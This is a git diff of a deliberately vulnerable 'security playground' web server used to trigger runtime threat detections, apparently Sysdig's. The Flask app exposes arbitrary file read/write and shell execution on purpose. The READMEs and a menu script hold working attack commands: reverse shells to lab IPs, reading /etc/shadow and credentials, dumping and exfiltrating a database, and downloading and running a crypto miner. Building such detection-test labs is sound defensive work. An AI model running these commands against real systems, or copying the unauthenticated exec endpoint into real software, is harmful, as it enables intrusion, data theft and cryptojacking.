diff --git a/.github/workflows/docker-image.yml b/.github/workflows/docker-image.yml new file mode 100644 index 0000000..b303ab7 --- /dev/null +++ b/.github/workflows/docker-image.yml @@ -0,0 +1,38 @@ +name: Docker Image CI + +on: + push: + branches: [ "master" ] + +env: + REGISTRY: ghcr.io + IMAGE_NAME: ${{ github.repository }} + +jobs: + build: + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v3 + + - name: Log in to the Container registry + uses: docker/login-action@65b78e6e13532edd9afa3aa52ac7964289d1a9c1 + with: + registry: ${{ env.REGISTRY }} + username: ${{ github.actor }} + password: ${{ secrets.GITHUB_TOKEN }} + + - name: Extract metadata (tags, labels) for Docker + id: meta + uses: docker/metadata-action@9ec57ed1fcdbf14dcef7dfbe97b2010124a938b7 + with: + images: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }} + + - name: Build and push Docker image + uses: docker/build-push-action@f2a1d5e99d037542a71f64918e516c093c6f3fc4 + with: + context: ./src/. + push: true + tags: ${{ steps.meta.outputs.tags }} + labels: ${{ steps.meta.outputs.labels }} diff --git a/Makefile b/Makefile deleted file mode 100644 index 01c2ee0..0000000 --- a/Makefile +++ /dev/null @@ -1,7 +0,0 @@ -docker: build push - -build: - docker build -t sysdiglabs/security-playground . - -push: - docker push sysdiglabs/security-playground diff --git a/Pipfile b/Pipfile deleted file mode 100644 index 83e97c2..0000000 --- a/Pipfile +++ /dev/null @@ -1,13 +0,0 @@ -[[source]] -url = "https://pypi.python.org/simple" -verify_ssl = true -name = "pypi" - -[packages] -flask = "*" -gunicorn = "*" - -[dev-packages] - -[requires] -python_version = "3.7" diff --git a/Pipfile.lock b/Pipfile.lock deleted file mode 100644 index 8a08f73..0000000 --- a/Pipfile.lock +++ /dev/null @@ -1,98 +0,0 @@ -{ - "_meta": { - "hash": { - "sha256": "e46a466983138988510a5e8eaae4bdd72c687253099085758aee9f5936d977f2" - }, - "pipfile-spec": 6, - "requires": { - "python_version": "3.7" - }, - "sources": [ - { - "name": "pypi", - "url": "https://pypi.python.org/simple", - "verify_ssl": true - } - ] - }, - "default": { - "click": { - "hashes": [ - "sha256:2335065e6395b9e67ca716de5f7526736bfa6ceead690adf616d925bdc622b13", - "sha256:5b94b49521f6456670fdb30cd82a4eca9412788a93fa6dd6df72c94d5a8ff2d7" - ], - "version": "==7.0" - }, - "flask": { - "hashes": [ - "sha256:13f9f196f330c7c2c5d7a5cf91af894110ca0215ac051b5844701f2bfd934d52", - "sha256:45eb5a6fd193d6cf7e0cf5d8a5b31f83d5faae0293695626f539a823e93b13f6" - ], - "index": "pypi", - "version": "==1.1.1" - }, - "gunicorn": { - "hashes": [ - "sha256:aa8e0b40b4157b36a5df5e599f45c9c76d6af43845ba3b3b0efe2c70473c2471", - "sha256:fa2662097c66f920f53f70621c6c58ca4a3c4d3434205e608e121b5b3b71f4f3" - ], - "index": "pypi", - "version": "==19.9.0" - }, - "itsdangerous": { - "hashes": [ - "sha256:321b033d07f2a4136d3ec762eac9f16a10ccd60f53c0c91af90217ace7ba1f19", - "sha256:b12271b2047cb23eeb98c8b5622e2e5c5e9abd9784a153e9d8ef9cb4dd09d749" - ], - "version": "==1.1.0" - }, - "jinja2": { - "hashes": [ - "sha256:74320bb91f31270f9551d46522e33af46a80c3d619f4a4bf42b3164d30b5911f", - "sha256:9fe95f19286cfefaa917656583d020be14e7859c6b0252588391e47db34527de" - ], - "version": "==2.10.3" - }, - "markupsafe": { - "hashes": [ - "sha256:00bc623926325b26bb9605ae9eae8a215691f33cae5df11ca5424f06f2d1f473", - "sha256:09027a7803a62ca78792ad89403b1b7a73a01c8cb65909cd876f7fcebd79b161", - "sha256:09c4b7f37d6c648cb13f9230d847adf22f8171b1ccc4d5682398e77f40309235", - "sha256:1027c282dad077d0bae18be6794e6b6b8c91d58ed8a8d89a89d59693b9131db5", - "sha256:24982cc2533820871eba85ba648cd53d8623687ff11cbb805be4ff7b4c971aff", - "sha256:29872e92839765e546828bb7754a68c418d927cd064fd4708fab9fe9c8bb116b", - "sha256:43a55c2930bbc139570ac2452adf3d70cdbb3cfe5912c71cdce1c2c6bbd9c5d1", - "sha256:46c99d2de99945ec5cb54f23c8cd5689f6d7177305ebff350a58ce5f8de1669e", - "sha256:500d4957e52ddc3351cabf489e79c91c17f6e0899158447047588650b5e69183", - "sha256:535f6fc4d397c1563d08b88e485c3496cf5784e927af890fb3c3aac7f933ec66", - "sha256:62fe6c95e3ec8a7fad637b7f3d372c15ec1caa01ab47926cfdf7a75b40e0eac1", - "sha256:6dd73240d2af64df90aa7c4e7481e23825ea70af4b4922f8ede5b9e35f78a3b1", - "sha256:717ba8fe3ae9cc0006d7c451f0bb265ee07739daf76355d06366154ee68d221e", - "sha256:79855e1c5b8da654cf486b830bd42c06e8780cea587384cf6545b7d9ac013a0b", - "sha256:7c1699dfe0cf8ff607dbdcc1e9b9af1755371f92a68f706051cc8c37d447c905", - "sha256:88e5fcfb52ee7b911e8bb6d6aa2fd21fbecc674eadd44118a9cc3863f938e735", - "sha256:8defac2f2ccd6805ebf65f5eeb132adcf2ab57aa11fdf4c0dd5169a004710e7d", - "sha256:98c7086708b163d425c67c7a91bad6e466bb99d797aa64f965e9d25c12111a5e", - "sha256:9add70b36c5666a2ed02b43b335fe19002ee5235efd4b8a89bfcf9005bebac0d", - "sha256:9bf40443012702a1d2070043cb6291650a0841ece432556f784f004937f0f32c", - "sha256:ade5e387d2ad0d7ebf59146cc00c8044acbd863725f887353a10df825fc8ae21", - "sha256:b00c1de48212e4cc9603895652c5c410df699856a2853135b3967591e4beebc2", - "sha256:b1282f8c00509d99fef04d8ba936b156d419be841854fe901d8ae224c59f0be5", - "sha256:b2051432115498d3562c084a49bba65d97cf251f5a331c64a12ee7e04dacc51b", - "sha256:ba59edeaa2fc6114428f1637ffff42da1e311e29382d81b339c1817d37ec93c6", - "sha256:c8716a48d94b06bb3b2524c2b77e055fb313aeb4ea620c8dd03a105574ba704f", - "sha256:cd5df75523866410809ca100dc9681e301e3c27567cf498077e8551b6d20e42f", - "sha256:e249096428b3ae81b08327a63a485ad0878de3fb939049038579ac0ef61e17e7" - ], - "version": "==1.1.1" - }, - "werkzeug": { - "hashes": [ - "sha256:7280924747b5733b246fe23972186c6b348f9ae29724135a6dfc1e53cea433e7", - "sha256:e5f4a1f98b52b18a93da705a7458e55afb26f32bff83ff5d19189f92462d65c4" - ], - "version": "==0.16.0" - } - }, - "develop": {} -} diff --git a/README.md b/README.md index f5a9919..434d306 100644 --- a/README.md +++ b/README.md @@ -1,49 +1,77 @@ # Security Playground -![last commit](https://flat.badgen.net/github/last-commit/sysdiglabs/security-playground?icon=github) ![licence](https://flat.badgen.net/github/license/sysdiglabs/security-playground) ![docker pulls](https://flat.badgen.net/docker/pulls/sysdiglabs/security-playground?icon=docker) - -The security playground is a HTTP web server to simulate security breaches in -run time. +The security playground is a HTTP web server that alllows you to simulate various security breaches in runtime. ## Installation -Use the docker image to deploy it in your Kubernetes cluster or locally in a -container. +Use the deployment.yaml to deploy this to your kubernetes cluster, it will deploy +- Deployment with 1 Replica of the pod +- LoadBalancer Service to expose the web server on port 80/HTTP + +```bash +kubectl apply -f kubernetes-manifests/deployment.yaml +``` + +Or run it locally in using docker ```bash -$ docker run --rm -p 8080:8080 sysdiglabs/security-playground +docker run --rm -p 8080:8080 ghcr.io/andrewd-sysdig/security-playground:latest ``` ## Usage -The HTTP API exposes tree endpoints to interact with the system. +The HTTP API exposes three endpoints to interact with the system. ### Reading a file -You can read a file using just the URL. +You can read a file using just the URL. This will return the content of the /etc/shadow file. ```bash -$ curl localhost:8080/etc/shadow +curl http:///etc/shadow ``` -This will return the content of the /etc/shadow file. - ### Writing a file -You can write to a file using the URL and POSTing the content. +You can write to a file using the URL and POSTing the content. This will write to /bin/hello the hello-world string. ```bash -$ curl -X POST localhost:8080/bin/hello -d 'content=hello-world' +curl -X POST http:///bin/hello -d 'content=hello-world' ``` -This will write to /bin/hello the hello-world string - ### Executing a command -You can execute a command using the /exec endpoint and POSTing the command. +You can execute a command using the /exec endpoint and POSTing the command. This will capture and return the STDOUT of the command executed. + +```bash +curl -X POST http:///exec -d 'command=ls -la' +``` + +## Library of curl commands to trigger various Sysdig Events + +Set the WEBSERVERIP env variable to be the IP of your target (the pod/service) ```bash -$ curl -X POST /exec -d 'command=ls -la' +export WEBSERVERIP=192.168.1.15 ``` -This will capture and return the STDOUT of the command executed. +## Library of curl commands to trigger various Sysdig Events + +> **Sysdig Managed Policy: Sysdig Runtime Threat Detection (Severity: High)** + +| Sysdig Event | Curl Command | +|---|---| +| Reconnaissance attempt to find SUID binaries | `curl -X POST http://$WEBSERVERIP/exec -d 'command=find / -perm -u=s -type f 2>/dev/null'` | +| Dump memory for credentials | `curl -X POST http://$WEBSERVERIP/exec -d 'command=grep passwd /proc/1/mem'` | +| Find AWS Credentials | `curl -X POST http://$WEBSERVERIP/exec -d 'command=grep aws_access_key_id /tmp/'` | +| Netcat Remote Code Execution in Contianer | `curl -X POST http://$WEBSERVERIP/exec -d 'command=nc -c bash 10.0.0.1 4242'` | +| Suspicious Home Directory Creation | `curl -X POST http://$WEBSERVERIP/exec -d 'command=adduser -h /dev/null -s /bin/sh test3 -D'` | +| Base64-encoded Python Script Execution | `curl -X POST http://$WEBSERVERIP/exec -d 'command=echo cHl0aG9uMyAtYyAnaW1wb3J0IF9faGVsbG9fXycK \| base64 -d \| sh'` | +| Base64-encoded Shell Script Execution | `curl -X POST http://$WEBSERVERIP/exec -d 'command=echo IyEvYmluL3NoCmVjaG8gIkhlbGxvIFdvcmxkIgo= \|base64 -d \|sh'` | +| Base64'd ELF file on Command Line | `curl -X POST http://$WEBSERVERIP/exec -d 'command=echo f0VMRgIB1M== \|base64 -d > hello'` | + +> **Sysdig Managed Policy: Sysdig Runtime Notable Events (Severity: Medium)** + +| Sysdig Event | Curl Command | +|---|---| +| Read sensitive file untrusted | `curl http://$WEBSERVERIP/etc/shadow` | +| Redirect STDOUT/STDIN to Network Connection in Container | `curl -X POST ${WEBSERVERIP}/exec -d command="python -c 'import socket,os,pty;s=socket.socket();s.connect((\"192.168.1.3\",4242));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")'"` | diff --git a/kubernetes-manifests/crypto-miner-nonroot/README.md b/kubernetes-manifests/crypto-miner-nonroot/README.md new file mode 100644 index 0000000..92c5eee --- /dev/null +++ b/kubernetes-manifests/crypto-miner-nonroot/README.md @@ -0,0 +1,7 @@ +# Steal Compute / Run Cryptominer Data flow + +| Attack Step | Curl Command | Expected Sysdig Event | +|---|---|--| +| Download xmrig | `curl -X POST http://192.168.1.15/exec -d 'command=wget https://github.com/xmrig/xmrig/releases/download/v6.18.1/xmrig-6.18.1-linux-static-x64.tar.gz -O xmrig.tar.gz -O /tmp/xmrig.tar.gz'` | xxx | +| Extract xmrig | `curl -X POST http://192.168.1.15/exec -d 'command=tar -xzvf /tmp/xmrig.tar.gz -C /tmp/'` | xxx | +| Run xmrig | `curl -X POST http://192.168.1.15/exec -d 'command=/tmp/xmrig-6.18.1/xmrig'` | xxx | \ No newline at end of file diff --git a/kubernetes-manifests/crypto-miner-nonroot/deployment.yaml b/kubernetes-manifests/crypto-miner-nonroot/deployment.yaml new file mode 100644 index 0000000..aa6caff --- /dev/null +++ b/kubernetes-manifests/crypto-miner-nonroot/deployment.yaml @@ -0,0 +1,54 @@ +apiVersion: apps/v1 +kind: Deployment +metadata: + name: security-playground + labels: + app: security-playground +spec: + replicas: 1 + selector: + matchLabels: + app: security-playground + template: + metadata: + labels: + app: security-playground + spec: + securityContext: + runAsUser: 1000 + runAsGroup: 1000 + fsGroup: 1000 + affinity: + nodeAffinity: + requiredDuringSchedulingIgnoredDuringExecution: + nodeSelectorTerms: + - matchExpressions: + - key: kubernetes.io/arch + operator: In + values: + - amd64 + containers: + - name: security-playground-user + image: ghcr.io/andrewd-sysdig/security-playground:latest + imagePullPolicy: Always + ports: + - containerPort: 8080 + securityContext: + allowPrivilegeEscalation: false + +--- +apiVersion: v1 +kind: Service +metadata: + labels: + app: security-playground + name: security-playground +spec: + ports: + - port: 80 + protocol: TCP + targetPort: 8080 + nodePort: 30000 + selector: + app: security-playground + type: NodePort diff --git a/kubernetes-manifests/crypto-miner-readonly/README.md b/kubernetes-manifests/crypto-miner-readonly/README.md new file mode 100644 index 0000000..1d22a16 --- /dev/null +++ b/kubernetes-manifests/crypto-miner-readonly/README.md @@ -0,0 +1,7 @@ +# Steal Compute / Run Cryptominer Data flow + +| Attack Step | Curl Command | Expected Sysdig Event | +|---|---|--| +| Download xmrig | `curl -X POST http://192.168.1.15/exec -d 'command=wget https://github.com/xmrig/xmrig/releases/download/v6.18.1/xmrig-6.18.1-linux-static-x64.tar.gz -O xmrig.tar.gz'` | xxx | +| Extract xmrig | `curl -X POST http://192.168.1.15/exec -d 'command=tar -xzvf xmrig.tar.gz'` | xxx | +| Run xmrig | `curl -X POST http://192.168.1.15/exec -d 'command=/app/xmrig-6.18.1/xmrig'` | xxx | \ No newline at end of file diff --git a/kubernetes-manifests/crypto-miner-readonly/deployment.yaml b/kubernetes-manifests/crypto-miner-readonly/deployment.yaml new file mode 100644 index 0000000..37b45df --- /dev/null +++ b/kubernetes-manifests/crypto-miner-readonly/deployment.yaml @@ -0,0 +1,64 @@ +apiVersion: apps/v1 +kind: Deployment +metadata: + name: security-playground + labels: + app: security-playground +spec: + replicas: 1 + selector: + matchLabels: + app: security-playground + template: + metadata: + labels: + app: security-playground + spec: + affinity: + nodeAffinity: + requiredDuringSchedulingIgnoredDuringExecution: + nodeSelectorTerms: + - matchExpressions: + - key: kubernetes.io/arch + operator: In + values: + - amd64 + securityContext: + runAsNonRoot: true + runAsUser: 1000 + runAsGroup: 1000 + fsGroup: 1000 + containers: + - name: security-playground + image: ghcr.io/andrewd-sysdig/security-playground:latest + imagePullPolicy: Always + ports: + - containerPort: 8080 + securityContext: + allowPrivilegeEscalation: false + privileged: false + readOnlyRootFilesystem: true + volumeMounts: + - mountPath: /tmp + name: tmp-volume + volumes: + - hostPath: + path: /tmp2 + name: tmp-volume + +--- +apiVersion: v1 +kind: Service +metadata: + labels: + app: security-playground + name: security-playground +spec: + ports: + - port: 80 + protocol: TCP + targetPort: 8080 + nodePort: 30000 + selector: + app: security-playground + type: NodePort \ No newline at end of file diff --git a/kubernetes-manifests/crypto-miner/README.md b/kubernetes-manifests/crypto-miner/README.md new file mode 100644 index 0000000..1d22a16 --- /dev/null +++ b/kubernetes-manifests/crypto-miner/README.md @@ -0,0 +1,7 @@ +# Steal Compute / Run Cryptominer Data flow + +| Attack Step | Curl Command | Expected Sysdig Event | +|---|---|--| +| Download xmrig | `curl -X POST http://192.168.1.15/exec -d 'command=wget https://github.com/xmrig/xmrig/releases/download/v6.18.1/xmrig-6.18.1-linux-static-x64.tar.gz -O xmrig.tar.gz'` | xxx | +| Extract xmrig | `curl -X POST http://192.168.1.15/exec -d 'command=tar -xzvf xmrig.tar.gz'` | xxx | +| Run xmrig | `curl -X POST http://192.168.1.15/exec -d 'command=/app/xmrig-6.18.1/xmrig'` | xxx | \ No newline at end of file diff --git a/kubernetes-manifests/crypto-miner/deployment.yaml b/kubernetes-manifests/crypto-miner/deployment.yaml new file mode 100644 index 0000000..30d8cc7 --- /dev/null +++ b/kubernetes-manifests/crypto-miner/deployment.yaml @@ -0,0 +1,48 @@ +apiVersion: apps/v1 +kind: Deployment +metadata: + name: security-playground + labels: + app: security-playground +spec: + replicas: 1 + selector: + matchLabels: + app: security-playground + template: + metadata: + labels: + app: security-playground + spec: + affinity: + nodeAffinity: + requiredDuringSchedulingIgnoredDuringExecution: + nodeSelectorTerms: + - matchExpressions: + - key: kubernetes.io/arch + operator: In + values: + - amd64 + containers: + - name: security-playground + image: ghcr.io/andrewd-sysdig/security-playground:latest + imagePullPolicy: Always + ports: + - containerPort: 8080 + +--- +apiVersion: v1 +kind: Service +metadata: + labels: + app: security-playground + name: security-playground +spec: + ports: + - port: 80 + protocol: TCP + targetPort: 8080 + nodePort: 30000 + selector: + app: security-playground + type: NodePort diff --git a/kubernetes-manifests/data-exfiltration/README.md b/kubernetes-manifests/data-exfiltration/README.md new file mode 100644 index 0000000..98b915d --- /dev/null +++ b/kubernetes-manifests/data-exfiltration/README.md @@ -0,0 +1,27 @@ +# Steal Data / Exfiltrate Data flow + +| Attack Step | Curl Command | Expected Sysdig Event | +|---|---|--| +| Install nmap, openssh | `curl -X POST http://192.168.1.15/exec -d 'command=apk add nmap openssh'` | Launch Package Management Process in Container | +| x | x | x | + + +Or for some quick testing try the sec-playground-menu.sh bash script + +```bash +$ ./sec-playground-menu.sh +What is the http address of your target? [http://192.168.1.15]: + +Select an Exploit: +1) Read Sensitive File +2) Write script to /tmp +3) Exec bad script +4) Run Port Scan +5) Dump Environment Variables +6) Install PSQL Tools +7) Dump DB +8) Exfiltrate Data +9) Open Reverse Shell +0) Exit +Choose an option: +``` \ No newline at end of file diff --git a/kubernetes-manifests/data-exfiltration/deployment.yaml b/kubernetes-manifests/data-exfiltration/deployment.yaml new file mode 100644 index 0000000..a39d402 --- /dev/null +++ b/kubernetes-manifests/data-exfiltration/deployment.yaml @@ -0,0 +1,111 @@ +apiVersion: v1 +kind: Namespace +metadata: + name: secplay + +--- +apiVersion: apps/v1 +kind: Deployment +metadata: + name: security-playground + namespace: secplay + labels: + app: security-playground +spec: + replicas: 1 + selector: + matchLabels: + app: security-playground + template: + metadata: + labels: + app: security-playground + spec: + affinity: + nodeAffinity: + requiredDuringSchedulingIgnoredDuringExecution: + nodeSelectorTerms: + - matchExpressions: + - key: kubernetes.io/arch + operator: In + values: + - amd64 + containers: + - name: security-playground + image: ghcr.io/andrewd-sysdig/security-playground:latest + env: + - name: PGHOST + value: "appdb" + - name: PGUSER + value: "postgres" + - name: PGPASSWORD + value: "postgres" + ports: + - containerPort: 8080 + securityContext: + privileged: true + +--- +apiVersion: v1 +kind: Service +metadata: + labels: + app: security-playground + name: secplay +spec: + ports: + - port: 80 + protocol: TCP + targetPort: 8080 + selector: + app: security-playground + type: LoadBalancer + +--- +apiVersion: apps/v1 +kind: Deployment +metadata: + name: appdb + namespace: secplay + labels: + app: appdb +spec: + replicas: 1 + selector: + matchLabels: + app: appdb + template: + metadata: + labels: + app: appdb + spec: + affinity: + nodeAffinity: + requiredDuringSchedulingIgnoredDuringExecution: + nodeSelectorTerms: + - matchExpressions: + - key: kubernetes.io/arch + operator: In + values: + - amd64 + containers: + - name: appdb + image: aa8y/postgres-dataset:latest + ports: + - containerPort: 5432 + +--- +apiVersion: v1 +kind: Service +metadata: + labels: + app: appdb + name: appdb +spec: + ports: + - port: 5432 + protocol: TCP + targetPort: 5432 + selector: + app: appdb + type: ClusterIP \ No newline at end of file diff --git a/kubernetes-manifests/data-exfiltration/sec-playground-menu.sh b/kubernetes-manifests/data-exfiltration/sec-playground-menu.sh new file mode 100755 index 0000000..48d63f6 --- /dev/null +++ b/kubernetes-manifests/data-exfiltration/sec-playground-menu.sh @@ -0,0 +1,188 @@ +#!/bin/bash + +read -p "What is the http address of your target? [http://192.168.1.15]: " sec_playground_url +sec_playground_url=${sec_playground_url:-http://192.168.1.15} + +printy() { + printf "\e[33;1m%s\n" "$1" +} +printg() { + printf "\e[32m$1\e[m\n" +} +printr() { + echo -e "\033[1;31m$1\033[0m" +} + +printb() { + echo -e "\033[0m" +} + +function read_sensitive_file() { + printg "********************************************************************************" + echo "" + echo "Reading /etc/shadow from remote service... " + echo "The following curl command is about to be run, press any key to continue..." + echo "Command: curl ${sec_playground_url}/etc/shadow" + echo "" + echo "Press any key to continue..." + read + echo "--------------------------------------------------------------------------------" + curl ${sec_playground_url}/etc/shadow + printg "********************************************************************************" +} + +function upload_file() { + printg "********************************************************************************" + echo "" + echo "Uploading file to /tmp/ " + echo "The following curl command is about to be run, press any key to continue..." + echo "Command: curl -X POST ${sec_playground_url}/tmp/bad_script.sh -d 'content=apk add nmap openssh'" + echo "" + echo "Press any key to continue..." + read + echo "--------------------------------------------------------------------------------" + curl -X POST ${sec_playground_url}/tmp/bad_script.sh -d content="apk add nmap openssh" + echo "" + printg "********************************************************************************" +} + +function exec_bad_script() { + printg "********************************************************************************" + echo "Installing nmap and scp in remote contianer... " + echo "The following curl command is about to be run, press any key to continue..." + echo "Command: curl -X POST ${sec_playground_url}/exec -d 'command=sh /tmp/bad_script.sh'" + echo "" + echo "Press any key to continue..." + read + echo "--------------------------------------------------------------------------------" + curl -X POST ${sec_playground_url}/exec -d 'command=sh /tmp/bad_script.sh' + printg "********************************************************************************" +} + +function find_suid_binaries() { + printg "********************************************************************************" + echo "Find SUID Binaries... " + echo "The following curl command is about to be run, press any key to continue..." + echo "Command: curl -X POST ${sec_playground_url}/exec -d 'command=find / -perm -u=s -type f 2>/dev/null'" + echo "" + echo "Press any key to continue..." + read + echo "--------------------------------------------------------------------------------" + curl -X POST ${sec_playground_url}/exec -d 'command=find / -perm -u=s -type f 2>/dev/null' + printg "********************************************************************************" +} + + +function port_scan() { + printg "********************************************************************************" + echo "Run Port Scan... " + echo "The following curl command is about to be run:" + echo "Command: curl -X POST ${sec_playground_url}/exec -d 'command=nmap -Pn -p 5432 appdb'" + echo "" + echo "Press any key to continue..." + read + echo "--------------------------------------------------------------------------------" + curl -X POST ${sec_playground_url}/exec -d 'command=nmap -Pn -p 5432 appdb' + printg "********************************************************************************" +} + +function dump_env_var() { + printg "********************************************************************************" + echo "Dump Environment Variables... " + echo "The following curl command is about to be run, press any key to continue..." + echo "Command: curl -X POST ${sec_playground_url}/exec -d 'command=printenv'" + echo "" + echo "Press any key to continue..." + read + echo "--------------------------------------------------------------------------------" + curl -X POST ${sec_playground_url}/exec -d 'command=printenv' + printg "********************************************************************************" +} + +function install_psql_tools() { + echo "********************************************************************************" + echo "Install PSQL Tools... " + echo "The following curl command is about to be run, press any key to continue..." + echo "Command: curl -X POST ${sec_playground_url}/exec -d 'command=apk add postgresql-client'" + echo "" + echo "Press any key to continue..." + read + echo "--------------------------------------------------------------------------------" + curl -X POST ${sec_playground_url}/exec -d 'command=apk add postgresql-client' + echo "********************************************************************************" +} + +function dump_db() { + printg "********************************************************************************" + echo "Dump all Databases... " + echo "The following curl command is about to be run, press any key to continue..." + echo "Command: curl -X POST ${sec_playground_url}/exec -d 'command=pg_dumpall -f /tmp/db_dump.tar;ls -la /tmp/''" + echo "" + echo "Press any key to continue..." + read + echo "--------------------------------------------------------------------------------" + curl -X POST ${sec_playground_url}/exec -d 'command=pg_dumpall -f /tmp/db_dump.tar;ls -la /tmp/' + printg "********************************************************************************" +} + +function exfiltrate_data() { + printg "********************************************************************************" + echo "Exfiltrate Data... " + echo "The following curl command is about to be run, press any key to continue..." + echo "Command: curl -X POST ${sec_playground_url}/exec -d 'command=scp -r /tmp/db_dump.tar test@192.168.1.51:/tmp/db_dump.tar'" + echo "" + echo "Press any key to continue..." + read + echo "--------------------------------------------------------------------------------" + curl -X POST ${sec_playground_url}/exec -d 'command=scp -r /tmp/db_dump.tar test@192.168.1.51:/tmp/db_dump.tar' + printg "********************************************************************************" +} + +function open_reverse_shell() { + printg "********************************************************************************" + echo "" + echo "Opening Reverse shell on target... " + echo "!!!!!!!! Make sure you have netcat listening for the reverse shell on 192.168.0.10 port 4242: nc -l 4242" + echo "The following curl command is about to be run, press any key to continue..." + echo "Command: curl -X POST ${sec_playground_url}/exec -d command='content=rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.10 4242 >/tmp/f'" + echo "" + echo "Press any key to continue..." + read + echo "--------------------------------------------------------------------------------" + curl -X POST ${sec_playground_url}/exec -d command='content=rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>%261|nc 192.168.0.10 4242 >/tmp/f' + echo "" + printg "********************************************************************************" +} + + +menu(){ +echo -ne " +Select an Exploit: +1) Read Sensitive File +2) Write script to /tmp +3) Run Script - Install nmap, bash +4) Run Port Scan +5) Dump Environment Variables +6) Install PSQL Tools +7) Dump DB +8) Exfiltrate Data +9) Open Reverse Shell +0) Exit +Choose an option: " + read a + case $a in + 1) read_sensitive_file ; menu ;; + 2) upload_file ; menu ;; + 3) exec_bad_script ; menu ;; + 4) port_scan ; menu ;; + 5) dump_env_var ; menu ;; + 6) install_psql_tools ; menu ;; + 7) dump_db ; menu ;; + 8) exfiltrate_data ; menu ;; + 9) open_reverse_shell ; menu ;; + 0) exit 0 ;; + esac +} + +# Call the menu function +menu \ No newline at end of file diff --git a/kubernetes-manifests/deployment.yaml b/kubernetes-manifests/deployment.yaml new file mode 100644 index 0000000..e0e8bf7 --- /dev/null +++ b/kubernetes-manifests/deployment.yaml @@ -0,0 +1,47 @@ +apiVersion: apps/v1 +kind: Deployment +metadata: + name: security-playground + labels: + app: security-playground +spec: + replicas: 1 + selector: + matchLabels: + app: security-playground + template: + metadata: + labels: + app: security-playground + spec: + affinity: + nodeAffinity: + requiredDuringSchedulingIgnoredDuringExecution: + nodeSelectorTerms: + - matchExpressions: + - key: kubernetes.io/arch + operator: In + values: + - amd64 + containers: + - name: security-playground + image: ghcr.io/andrewd-sysdig/security-playground:latest + ports: + - containerPort: 8080 + securityContext: + privileged: true +--- +apiVersion: v1 +kind: Service +metadata: + labels: + app: security-playground + name: secplay +spec: + ports: + - port: 80 + protocol: TCP + targetPort: 8080 + selector: + app: security-playground + type: LoadBalancer \ No newline at end of file diff --git a/src/Dockerfile b/src/Dockerfile new file mode 100644 index 0000000..1590216 --- /dev/null +++ b/src/Dockerfile @@ -0,0 +1,11 @@ +FROM python:3.9-buster + +WORKDIR /app + +COPY requirements.txt app.py /app/ + +RUN pip3 install -r requirements.txt + +EXPOSE 8080 + +CMD ["gunicorn", "-b", ":8080", "--workers", "2", "--threads", "4", "--worker-class", "gthread", "--access-logfile", "-", "--error-logfile", "-", "app:app"] diff --git a/Dockerfile b/src/Dockerfile.user similarity index 55% rename from Dockerfile rename to src/Dockerfile.user index f22fb41..769ce9f 100644 --- a/Dockerfile +++ b/src/Dockerfile.user @@ -1,15 +1,13 @@ -FROM python:3.7-buster - -RUN pip install pipenv==2018.11.26 +FROM python:3.9-alpine WORKDIR /app -COPY Pipfile /app -COPY Pipfile.lock /app -RUN pipenv install --system --deploy +COPY requirements.txt app.py /app/ -COPY app.py /app +RUN pip3 install -r requirements.txt EXPOSE 8080 +USER nobody + CMD ["gunicorn", "-b", ":8080", "--workers", "2", "--threads", "4", "--worker-class", "gthread", "--access-logfile", "-", "--error-logfile", "-", "app:app"] diff --git a/app.py b/src/app.py similarity index 82% rename from app.py rename to src/app.py index 9f1a6e4..5cac5f5 100644 --- a/app.py +++ b/src/app.py @@ -17,19 +17,19 @@ def write(file_to_write): content = request.values['content'] with open('/' + file_to_write, 'w') as f: f.write(content) - return content @app.route('/exec', methods=['POST']) def exec(): command = [request.values['command']] - - process = subprocess.run(command, shell=True, capture_output=True) - + process = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) return process.stdout @app.route('/health', methods=['GET']) def health(): return 'OK' + +if __name__ == "__main__": + app.run() diff --git a/src/requirements.txt b/src/requirements.txt new file mode 100644 index 0000000..f163f4d --- /dev/null +++ b/src/requirements.txt @@ -0,0 +1,2 @@ +flask +gunicorn \ No newline at end of file